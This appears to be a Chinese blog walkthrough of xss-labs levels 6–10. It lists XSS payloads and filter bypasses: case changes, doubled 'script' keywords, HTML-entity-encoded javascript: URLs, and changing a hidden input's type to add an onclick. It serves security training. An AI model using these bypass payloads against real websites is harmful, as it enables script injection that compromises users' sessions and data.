XSS_lab(level6-level10)

level6

仍旧输入:<script>alert(1)</script>

script被加了下划线

尝试on事件

也被加了下划线

尝试伪协议:"><a href=javascript:alert(1)>1</a>//

还是被加了下划线,那么就要尝试绕过方法了:

我所知的几种绕过方法:

如果是添加下划线则可尝试:

大小写绕过

实体编码绕过

如果是删除关键字则还可尝试:

重复关键字

这里先尝试大小写

构建:"><a HRef=javascript:alert(1)>1</a>//

点击蓝色的1后弹窗

过↘啦↗

当然也可以尝试实体编码

level7

照旧:<script>alert(1)</script>

检查源代码

这次是直接删除script,那么我们尝试重复关键字

构建:"><scrscriptipt>alert(1)</scrscriptipt>//

过↗啦↗!!!

level8

我们依旧输入:<script>alert(1)</script>

script被加了下划线,而且这里他有伪标签,所以我们可以利用一下

先尝试on事件:"oncilck=alert(1)//

发现不仅on被加了下滑先,而且双引号也被过滤了,那就该试试绕过,尝试实体编码了

实体编码网站:在线Html实体编码解码

构建:javascript:alert(1)

编码:&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;

过啦!!!

level9

输入:<script>alert(1)</script>

这里是有两个点的,第二个点应该是被加了某种检测机制,来判断是不是网站,还有就是这里script被加了下滑线

这里先不着急打开源码,先想想网站的一般构造,网址通常由https://或者http://开头,在<script>alert(1)</script>前分别放入这俩

果然成功添加了

这里script被禁用了我们试试on事件,构建http://"οnclick=alert(1)//

双引号被过滤了,而且on也被加了下滑线尝试大小写绕过

构建:http://"Onclick=alert(1)//

尝试实体编码绕过,这里实体编码http//:不能编码,后端代码会不认识:http://&#x0022;&#x004f;&#x006e;&#x0063;&#x006c;&#x0069;&#x0063;&#x006b;&#x003d;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;&#x002f;&#x002f;

这里构建应该是没有问题的,但是不知道为什么不行,所以尝试下:javascript:alert(1)"//http://

编码后:

这个也不行...

上网搜了一下:java&#x73;cript:alert('http://www.baidu.com')

思路和我一样,但不知道为啥我这个不行

javascript:alert(1)"//http://,改成:java&#x73;cript:alert('//http://'),就可以了

level10

页面中没有输入框,但是url中有传参,输入:<script>alert(1)</script>

检查源代码

第一个还是不行,而且也没有第二个点,但我们发现这里还有三个传参,分别尝试一下

构建:?t_link=123&t_history=456&t_sort=789

我们发现t_sort是可以用的,但他的类型是隐藏的,所以我们要改他的类型

构建?t_sort=1" type="button" οnclick=alert(1)//

过啦!!!

相关推荐

  1. xss-lab靶场level1-level10

    2024-03-10 03:56:02       29 阅读
  2. xss-lab的level11-level14

    2024-03-10 03:56:02       29 阅读
  3. xss-lab靶场的level15-level20

    2024-03-10 03:56:02       25 阅读
  4. 2024 6.10~6.16 周报

    2024-03-10 03:56:02       37 阅读
  5. Leetcode 6-10

    2024-03-10 03:56:02       41 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-10 03:56:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-10 03:56:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-10 03:56:02       82 阅读
  4. Python语言-面向对象

    2024-03-10 03:56:02       91 阅读

热门阅读

  1. C/C++蓝桥杯之整除序列

    2024-03-10 03:56:02       34 阅读
  2. css关于relative和absolute的区别

    2024-03-10 03:56:02       51 阅读
  3. mac切换本地node版本

    2024-03-10 03:56:02       42 阅读
  4. ts快速上手笔记01

    2024-03-10 03:56:02       33 阅读
  5. Qt连接所有同类部件到同一个槽函数

    2024-03-10 03:56:02       39 阅读
  6. MongoDB-索引-部分索引

    2024-03-10 03:56:02       46 阅读
  7. UHF无线麦克风方案的特点

    2024-03-10 03:56:02       84 阅读
  8. MySQL 读写分离的教程

    2024-03-10 03:56:02       43 阅读